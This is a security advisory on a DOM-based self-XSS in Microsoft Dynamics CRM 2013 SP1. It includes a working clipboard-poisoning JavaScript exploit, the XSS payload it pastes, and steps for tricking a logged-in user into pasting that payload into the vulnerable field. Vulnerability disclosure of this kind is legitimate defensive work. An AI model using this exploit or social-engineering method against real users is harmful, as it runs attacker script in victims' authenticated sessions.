Self-XSS in Microsoft Dynamics CRM 2013 SP1

High-Tech Bridge Security Research Lab discovered a DOM-based self-XSS vulnerability in Microsoft Dynamics CRM 2013 SP1, which can be exploited to perform Cross-Site Scripting attacks against authenticated users.

The vulnerability exists due to insufficient filtration of user-supplied input passed to the "/Biz/Users/AddUsers/SelectUsersPage.aspx" script after an unsuccessful attempt to send XML SOAP request. A remote attacker can trick a logged-in user to insert malicious HTML and script code into the "newUsers_ledit" input field and execute it in user’s browser in context of vulnerable web application.

To successfully exploit this vulnerability (as any other XSS vulnerability, besides stored ones) an attacker should use a social engineering technique to trick the user to insert malicious code into the above-mentioned field on the vulnerable page. Being a self-XSS, the vulnerability still remains quite useful to perform attacks against users of Microsoft Dynamics CRM that is quite secure. Below you can find the exploitation scenario applicable to any web application running Microsoft Dynamics CRM.

Using pretty simple social engineering technique attacker can trick a user to copy some "legitimate" text from a specially prepared malicious page to user's clipboard using "Ctrl+C" or mouse, and then paste it into the vulnerable web page.

Simple exploit code bellow will display a legitimate text to the user, and then replace the text in user's clipboard with our exploit code:

<script>
// simple exploit to poison clipboard
function replaceBuffer() {
var selection = window.getSelection(),
eviltext = '1&lt;img src=x onerror=alert("ImmuniWeb") /&gt;',
copytext = eviltext,
newdiv = document.createElement('div');
newdiv.style.position = 'absolute';
newdiv.style.left = '-99999px';
document.body.appendChild(newdiv);
newdiv.innerHTML = copytext;
selection.selectAllChildren(newdiv);
window.setTimeout(function () {
document.body.removeChild(newdiv);
}, 100);
}
document.addEventListener('copy', replaceBuffer);
</script>
<div>In order to find hidden users just copy this string into the search window:<br>
HIDDEN USERS&&DISPLAY</div>

The victim will see the following text in the browser:
HIDDEN USERS&&DISPLAY

However, will copy and paste the following malicious payload:
1<img src=x onerror=alert("ImmuniWeb")>

Attacker then can trick then the user to paste copied buffer into the "newUsers_ledit" field on the "https://[victim_host]/[site]/Biz/Users/AddUsers/SelectUsersPage.aspx" page and the JS code will be executed in context of the vulnerable website.

Below you can see the image with user cookies displayed in JS pop-up:
https://www.immuniweb.com/advisory/HTB23245.png

Quick video of exploitation:
http://www.youtube.com/watch?v=yS-eS_qWgUI